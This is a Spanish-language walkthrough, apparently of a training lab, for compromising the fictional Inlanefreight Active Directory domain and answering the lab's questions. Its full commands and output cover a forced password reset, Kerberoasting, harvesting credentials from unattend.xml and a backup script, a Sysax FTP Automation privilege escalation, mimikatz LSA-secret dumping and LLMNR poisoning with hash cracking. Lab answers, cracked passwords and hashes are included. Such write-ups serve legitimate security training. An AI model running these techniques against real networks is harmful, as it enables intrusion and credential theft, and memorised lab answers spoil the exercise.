2025-04-24T12:01:11.6105930-07:00|INFORMATION|Saving cache with stats: 19 ID to type mappings.
 1 name to SID mappings.
 2 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2025-04-24T12:01:11.6418778-07:00|INFORMATION|SharpHound Enumeration Completed at 12:01 PM on 4/24/2025! Happy Graphing!

Buscando nuestro usuario hporter y seleccionando First Degree Object Control, podemos ver que el usuario tiene derechos ForceChangePassword sobre el usuario ssmalls.

Descargar PowerView

En la ruta c:\DotNetNuke\Portals\0 comprobamos con net use la ubicación de nuestra unidad redirigida y luego transferimos la herramienta:

c:\DotNetNuke\Portals\0> net use

New connections will be remembered.

Status       Local     Remote                    Network

-------------------------------------------------------------------------------
                       \\TSCLIENT\home           Microsoft Terminal Services
The command completed successfully.


c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\PowerView.ps1 .
        1 file(s) copied.

Cambiar contraseña del usuario Smalls con PowerView

PS C:\DotNetNuke\Portals\0> Import-Module .\PowerView.ps1

PS C:\DotNetNuke\Portals\0> Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force ) -Verbose

VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'ssmalls'
VERBOSE: [Set-DomainUserPassword] Password for user 'ssmalls' successfully reset

Conexión por RDP con el usuario smalls y la nueva contraseña

xfreerdp /v:127.0.0.1:13389 /u:ssmalls /p:Str0ngpass86! /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

Vemos que funciona, por lo que la contraseña se ha cambiado perfectamente.

Enumerar recursos compartidos

c:\DotNetNuke\Portals\0> copy \\TSCLIENT\home\Snaffler.exe
        1 file(s) copied.

c:\DotNetNuke\Portals\0> Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
 .::::::.:::.    :::.  :::.    .-:::::'.-:::::':::    .,:::::: :::::::..
;;;`    ``;;;;,  `;;;  ;;`;;   ;;;'''' ;;;'''' ;;;    ;;;;'''' ;;;;``;;;;
'[==/[[[[, [[[[[. '[[ ,[[ '[[, [[[,,== [[[,,== [[[     [[cccc   [[[,/[[['
  '''    $ $$$ 'Y$c$$c$$$cc$$$c`$$$'`` `$$$'`` $$'     $$""   $$$$$$c
 88b    dP 888    Y88 888   888,888     888   o88oo,.__888oo,__ 888b '88bo,
  'YMmMY'  MMM     YM YMM   ''` 'MM,    'MM,  ''''YUMMM''''YUMMMMMMM   'W'
                         by l0ss and Sh3r4 - github.com/SnaffCon/Snaffler


2022-06-22 10:57:33 -07:00 [Share] {Green}(\\DC01.INLANEFREIGHT.LOCAL\Department Shares)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\ADMIN$)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\C$)
Press any key to exit.

Con Snaffler encontramos varios recursos compartidos que pueden contener credenciales. Vamos a conectarnos por SMB a Department Shares configurando correctamente el pivoting:

afsh4ck@kali$ ssh -D 8081 -i dmz01_key root@10.129.229.147
afsh4ck@kali$ proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares' 

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:445-<><>-OK
Enter WORKGROUP\ssmalls's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  1 14:34:06 2022
  ..                                  D        0  Wed Jun  1 14:34:06 2022
  Accounting                          D        0  Wed Jun  1 14:34:08 2022
  Executives                          D        0  Wed Jun  1 14:34:04 2022
  Finance                             D        0  Wed Jun  1 14:34:00 2022
  HR                                  D        0  Wed Jun  1 14:33:48 2022
  IT                                  D        0  Wed Jun  1 14:33:42 2022
  Marketing                           D        0  Wed Jun  1 14:33:56 2022
  R&D                                 D        0  Wed Jun  1 14:33:52 2022

		10328063 blocks of size 4096. 8177952 blocks available

Luego podemos navegar hasta el recurso compartido IT/Private/Development. Dentro encontramos un script de backup que nos vamos a descargar:

smb: \IT\Private\> cd Development\
smb: \IT\Private\Development\> ls
  .                                   D        0  Wed Jun  1 14:34:17 2022
  ..                                  D        0  Wed Jun  1 14:34:17 2022
  SQL Express Backup.ps1              A     4001  Wed Jun  1 14:34:15 2022

		10328063 blocks of size 4096. 8177952 blocks available
smb: \IT\Private\Development\> get SQL Express Backup.ps1 
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \IT\Private\Development\SQL

smb: \IT\Private\Development\> get "SQL Express Backup.ps1" 
getting file \IT\Private\Development\SQL Express Backup.ps1 of size 4001 as SQL Express Backup.ps1 (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)

Al leer el archivo encontramos las credenciales de backupadm:

afsh4ck@kali$ cat SQL\ Express\ Backup.ps1 
$serverName = ".\SQLExpress"
$backupDirectory = "D:\backupSQL"
$daysToStoreDailyBackups = 7
$daysToStoreWeeklyBackups = 28
$monthsToStoreMonthlyBackups = 3

[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoEnum") | Out-Null
 
$mySrvConn = new-object Microsoft.SqlServer.Management.Common.ServerConnection
$mySrvConn.ServerInstance=$serverName
$mySrvConn.LoginSecure = $false
$mySrvConn.Login = "backupadm"
$mySrvConn.Password = "!qazXSW@"

Pregunta 2

Realiza un ataque de Kerberoasting y recupera los tickets TGS de todas las cuentas configuradas como SPN. Descifra el TGS del usuario de backupjob y envía la contraseña en texto plano como respuesta.

Enumeración de usuarios Kerberos

En la powershell que tenemos abierta con PowerView ejecutamos:

PS C:\DotNetNuke\Portals\0> Import-Module .\PowerView.ps1
PS C:\DotNetNuke\Portals\0> Get-DomainUser * -SPN | Select samaccountname

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

Vamos a exportarlos a un archivo CSV para procesarlos sin conexión.

PS C:\DotNetNuke\Portals\0> Get-DomainUser * -SPN -verbose | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_spns.csv -NoTypeInformation

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainUser] Searching for non-null service principal names
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=*))(servicePrincipalName=*))
PS C:\DotNetNuke\Portals\0> dir

    Directory: C:\DotNetNuke\Portals\0

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         6/1/2022   1:49 PM                Images
d-----         6/1/2022   1:49 PM                Templates
d-----         6/1/2022   1:51 PM                Users
-a----         6/1/2022   1:49 PM           9569 home.css
-a----        4/23/2025  10:41 AM          30695 ilfreight_spns.csv
-a----        4/22/2025  12:45 PM         770280 PowerView.ps1
-a----         4/2/2025   9:20 PM         491520 Snaffler.exe
-a----        4/23/2025  10:11 AM          22420 snaffler.log

Lo más sencillo es leer el CSV con type y copiarlo a nuestro Kali Linux. También podemos copiarlo directamente a nuestro Kali con:

PS C:\DotNetNuke\Portals\0> copy .\ilfreight_spns.csv \\Tsclient\Home

Cracking con Hashcat

Debemos limpiar el archivo y dejar solo los hashes kerberos para poder crackearlo con Hashcat:

afsh4ck@kali$ hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*backupjob$INLANEFREIGHT.LOCAL$backupjob/veam001.inlanefreight.local*$a981aa50080ffd043d2ba2a6497aa64b$2874e2045552097f63332abd495eb365b72064b0b530925db4cc03a66eedaf7d7068ab4fb554d1d892c818b301288f7fadc7a0be29733d7187635d441c9d84707bdc04e2af83930f931901ee852ba7f2c13aac99c7094e22396a53c992384f152dcfe021367b6845bb2f903b03fca7ee3d824de6df6c93e725fed5f14d3e949f1d396b6269a1336cedd223bc245ce91291e7b8fa346002bb05c14157681<----SNIP---->:lucky7

Tenemos la contraseña del usuario backupjob! Es un usuario interesante con permisos GenericAll sobre el grupo Enterprise Admins:

Pregunta 3

Escala privilegios en el host MS01 y envía el contenido del archivo flag.txt en el Escritorio del administrador.

El host 172.16.8.50, o MS01 es el único que queda en el que no hemos podido entrar aparte del controlador de dominio, así que vamos a intentarlo usando evil-winrm y las credenciales del usuario backupadm.

Escaneo de puertos

afsh4ck@kali$ proxychains nmap -sT -Pn -p 5985 172.16.8.50

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-23 20:10 CEST
Nmap scan report for 172.16.8.50
Host is up.

PORT     STATE    SERVICE
5985/tcp filtered wsman

Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds

Conexión con EvilWinrm

afsh4ck@kali$ proxychains evil-winrm -i 172.16.8.50 -u backupadm

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Enter Password: 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.50:5985  ...  OK

*Evil-WinRM* PS C:\Users\backupadm\Documents>

Búsqueda de archivo unattend.xml

*Evil-WinRM* PS C:\Users\backupadm> Get-ChildItem -Path C:\ -Recurse -Include Unattend.xml, Autounattend.xml -ErrorAction SilentlyContinue -Force |
Select-Object FullName, Length, LastWriteTime
 
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.50:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  172.16.8.50:5985  ...  OK

FullName                        Length LastWriteTime
--------                        ------ -------------
C:\panther\unattend.xml           6995 6/1/2022 2:17:25 PM
C:\Windows\Panther\unattend.xml   2357 6/1/2022 12:11:28 PM
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="oobeSystem">
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
                <OOBE>
                    <HideEULAPage>true</HideEULAPage>
                    <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE>
                    <NetworkLocation>Work</NetworkLocation>
                    <ProtectYourPC>1</ProtectYourPC>
                </OOBE>
                <AutoLogon>
                    <Password>
                        <Value>Sys26Admin</Value>
                        <PlainText>true</PlainText>
                    </Password>
                    <Enabled>true</Enabled>
                    <LogonCount>1</LogonCount>
                    <Username>ilfserveradm</Username>
                </AutoLogon>

Encontramos las credenciales del usuario ilfserveradm:Sys26Admin. Este usuario pertenece al grupo Remote Desktop Users, por lo que vamos a conectarnos para ver que nos encontramos:

Configuración de pivoting

Especificamos el host 172.16.8.50:

ssh -i dmz01_key -L 13389:172.16.8.50:3389 root@10.129.229.147
xfreerdp /v:127.0.0.1:13389 /u:ilfserveradm /p:Sys26Admin /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

En este host si tenemos interfaz gráfica:

En el directorio C:/ nos encontramos un archivo de Keepass Inlanefreight.kdbx interesante, pero no está instalado Keepass, por lo que no merece la pena detenerse aquí, aunque transfiriendo este archivo a Kali y usando keepass2john para convertirlo a un formato legible por john, descubrimos la contraseña Password1, que nos puede servir para técnicas de Password Spraying:

afsh4ck@kali$ keepass2john Inlanefreight.kdbx > keepass.hash
afsh4ck@kali$ john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash

Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Welcome1         (Inlanefreight) 

Enumeración de programas instalados

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* ,
                 HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
Where-Object { $_.DisplayName } | Sort-Object DisplayName
PS C:\Users\ilfserveradm> Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* ,
>>                  HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
>> Select-Object DisplayName, DisplayVersion, InstallDate |
>> Where-Object { $_.DisplayName } | Sort-Object DisplayName
>>

DisplayName                                                        DisplayVersion  InstallDate
-----------                                                        --------------  -----------
Apache Tomcat 10.0 Tomcat10 (remove only)                          10.0.21
Java 8 Update 333 (64-bit)                                         8.0.3330.2      20220601
Java Auto Updater                                                  2.8.333.2       20220601
Java(TM) SE Development Kit 18.0.1.1 (64-bit)                      18.0.1.1        20220601
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913 14.28.29913.0
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913 14.28.29913.0
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913     14.28.29913     20220622
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913        14.28.29913     20220622
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913     14.28.29913     20220622
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913        14.28.29913     20220622
Mozilla Firefox (x64 en-US)                                        100.0.1
Mozilla Maintenance Service                                        100.0.1
Sysax FTP Automation 6                                             6.1.0           20220601
VMware Tools                                                       11.3.5.18557794 20220622

Encontramos un programa que nos llama la atención: Sysax FTP Automation 6 versión 6.1.0. Rápidamente encontramos un exploit válido para escalar privilegios:

Solo tenemos que seguir estos pasos:

Primero, creamos un archivo llamado pwn.bat en C:\Users\ilfserveradm\Documents que contenga la línea net localgroup administrators ilfserveradm /add para agregar a nuestro usuario al grupo de administradores locales (en ocasiones, necesitaremos corregirlo y anotarlo en los apéndices de nuestro informe). A continuación, podemos realizar los siguientes pasos:

  • Abrimos C:\Program Files (x86)\SysaxAutomation\sysaxschedscp.exe

  • Seleccionamos Setup Scheduled/Triggered Tasks

  • Add Task (Triggered)

  • Folder to monitor C:\Users\ilfserveradm\Documents

  • Activamos Run task if a file is added to the monitor folder or subfolder(s)

  • Elegimos Run any other Program y elegimos C:\Users\ilfserveradm\Documents\pwn.bat

  • Desmarcamos Login as the following user to run task

  • Hacemos clic en Finish y luego Save

Comprobar administradores locales

Finalmente, para activar la tarea, creamos un nuevo archivo .txt en el directorio C:\Users\ilfserveradm\Documents. Podemos comprobar que el usuario ilfserveradm se ha añadido al grupo Administrators.

C:\Users\ilfserveradm> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
ilfserveradm
INLANEFREIGHT\Domain Admins
The command completed successfully.

Acceso a la flag

PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/1/2022   2:17 PM             32 flag.txt
-a----         6/1/2022   2:22 PM           3017 Sysax FTP Automation.lnk


PS C:\Users\Administrator\Desktop> type .\flag.txt
33a9d46de4015e7b3b0a**************

Pregunta 4

Obtén el hash de la contraseña NTLMv2 del usuario mpalledorous y crackéalo para revelar el valor en texto plano. Envíe la contraseña del usuario como respuesta.

Ahora que somos administradores locales vamos a usar Mimikatz para elevar a un token NT AUTHORITY\SYSTEM y volcar los LSA Secrets.

Abrimos un CMD como administrador local, poniendo .\ delante del nombre del usuario, ya que de otra manera se autentica contra el dominio y no contra la máquina actual:

c:\Users\ilfserveradm\Documents>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

560     {0;000003e7} 1 D 36292          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;002c866c} 2 F 2940480     ACADEMY-AEN-MS0\ilfserveradm    S-1-5-21-1020326033-369054202-3290056218-1002   (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 2994215     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)
mimikatz # lsadump::secrets
Domain : ACADEMY-AEN-MS0
SysKey : 61b3d49a6205a1dedb14591c22d36afc

Local name : ACADEMY-AEN-MS0 ( S-1-5-21-1020326033-369054202-3290056218 )
Domain name : INLANEFREIGHT ( S-1-5-21-2814148634-3729814499-1637837074 )
Domain FQDN : INLANEFREIGHT.LOCAL

Policy subsystem is : 1.18
LSA Key(s) : 1, default {13764b01-b89c-8adf-69ec-8937ee43821e}
  [00] {13764b01-b89c-8adf-69ec-8937ee43821e} 587be7dcfb75bb9ebb0c5c75cf4afb4488e602f9926f3404a09ecf8ba20b04e7

Secret  : $MACHINE.ACC
cur/hex : fe 20 40 e1 0a 47 dd bd 5a 2e 03 e0 78 5e a1 8b 35 04 60 97 36 9f 4e 7e f8 e1 7f 6d c8 20 ba 06 9f 57 43 4a 6f 54 1b cf 25 98 97 25 95 15 d9 6b 4a d7 56 0f 67 dd aa 7c 62 0c 06 af c7 59 b5 f4 30 42 f2 9b 51 9f 42 e4 ff 01 b7 c0 88 58 27 0b 35 da 5d cc 6f 80 46 07 4f d1 52 9f 33 a7 98 70 67 ab 33 12 5c 6a e1 eb cd 77 7c 0d e9 b0 db 96 3b 3b 30 ca ae 43 00 3f b6 cd 36 5b f7 22 5c 9e a8 97 9f fd 5d 21 f8 62 9b 27 d6 dd ec fb 51 91 dc 53 60 42 98 8c 38 e0 88 2a a2 ff 18 2a 5d 72 b0 31 8b d0 87 e2 7a 94 6a 2f 7d 57 59 50 07 61 93 24 60 0d 1c 23 a2 67 40 6c bf 7b 34 69 ba 40 b5 1f 12 33 f6 dc 3d 8b 6c 1d 1d af 10 d3 a6 bc 67 04 51 da 9d 9c 53 1c 19 1a ad c2 47 38 c0 2b ff 6a 8c e8 ad 90 c9 81 df b0 9c d1 34 f5 64 f9
    NTLM:094bc6d0ed8ed60f13299d8313c4b81f
    SHA1:adec97cf6a3c45cca7fee96dbef00bf67e2dbb4d
old/text: -2d"GC)[+6,[+mC+UC5KXVoH>j`S8CAlq1nQCP6:[*-Zv@_NAs`Pm$9xv7ohquyAKz1:rX[E40v)=p8-5@%eK3(<7tZW"I\7`,Bu#]N$'%A`$Z?E@9V2zdh=
    NTLM:ced50a6f3cb256110200dcb022b32c12
    SHA1:0b5cb5af0f13110312456892b7ebede53db440e8

Secret  : DefaultPassword
cur/text: DBAilfreight1!

Encontramos una contraseña establecida, pero no un nombre de usuario asociado. Parece ser una cuenta configurada con inicio de sesión automático, por lo que podemos consultar el Registro para encontrar el nombre de usuario.

PS C:\Users\ilfserveradm> Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name "DefaultUserName"

DefaultUserName : mssqladm
PSPath          : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
                  NT\CurrentVersion\Winlogon\
PSParentPath    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName     : Winlogon
PSDrive         : HKLM
PSProvider      : Microsoft.PowerShell.Core\Registry

Ahora tenemos un nuevo par de credenciales: mssqladm:DBAilfreight1!. Explotaremos este usuario en la siguiente sección.

LLMNR Poisoning con Inveight

PS C:\Users\ilfserveradm\Documents> Import-Module .\Inveigh.ps1
PS C:\Users\ilfserveradm\Documents> Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

[*] Inveigh 1.506 started at 2022-06-22T15:03:32
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.8.50
[+] Spoofer IP Address = 172.16.8.50
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer = Disabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Users\ilfserveradm\Documents
WARNING: [!] Run Stop-Inveigh to stop
[+] [2025-04-23T14:41:14] TCP(445) SYN packet detected from 172.16.8.20:50233
[+] [2025-04-23T14:41:14] SMB(445) negotiation request detected from 172.16.8.20:50233
[+] [2025-04-23T14:41:14] Domain mapping added for INLANEFREIGHT to INLANEFREIGHT.LOCAL
[+] [2025-04-23T14:41:14] SMB(445) NTLM challenge 0A2EE1DE83C6E31F sent to 172.16.8.20:50233
[+] [2025-04-23T14:41:14] SMB(445) NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20(ACADEMY-AEN-DEV):50233:
mpalledorous::ACADEMY-AEN-DEV:0A2EE1DE83C6E31F:D8D940EE099FF093E325C8C84C3FF8F2:01010000000000007EECAEAC87B4DB01A1C9C5DB6C216A610000000002001A0049004E004C0041004E004500460052004500490047004800540001001E00410043004100440045004D0059002D00410045004E002D004D00530030000400260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C0003004800410043004100440045004D0059002D00410045004E002D004D005300300031002E0049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C000500260049004E004C0041004E00450046005200450049004700480054002E004C004F00430041004C00070008007EECAEAC87B4DB010600040002000000080030003000000000000000000000000020000028328ADCACA7B202CB4B77343BDDDFAF85F72767F4C4EAAAA46C04E081B17F260A001000000000000000000000000000000000000900200063006900660073002F003100370032002E00310036002E0038002E0035003000000000000000000000000000

Cracking de Hash NTLMv2

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force 

hashcat (v6.2.6) starting

MPALLEDOROUS::ACADEMY-AEN-DEV:0a2ee1de83c6e31f:d8d940ee099ff093e325c8c84c3ff8f2:01010000000000007eecaeac87b4db01a1c9c5db6c216a610000000002001a0049004e004c0041004e004500460052004500490047004800540001001e00410043004100440045004d0059002d00410045004e002d004d00530030000400260049004e004c0041004e00450046005200450049004700480054002e004c004f00430041004c0003004800410043004100440045004d0059002d00410045004e002d004d005300300031002e0049004e004c0041004e00450046005200450049004700480054002e004c004f00430041004c000500260049004e004c0041004e00450046005200450049004700480054002e004c004f00430041004c00070008007eecaeac87b4db010600040002000000080030003000000000000000000000000020000028328adcaca7b202cb4b77343bdddfaf85f72767f4c4eaaaa46c04e081b17f260a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0038002e0035003000000000000000000000000000:1squints2
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MPALLEDOROUS::ACADEMY-AEN-DEV:0a2ee1de83c6e31f:d8d9...000000
Time.Started.....: Wed Apr 23 21:48:50 2025, (15 secs)
Time.Estimated...: Wed Apr 23 21:49:05 2025, (0 secs)

Lo tenemos!

🩸BloodHound
🏛️
🏛️
🏛️
Sysax FTP Automation 6.9.0 - Privilege EscalationExploit Database
Logo
Page cover image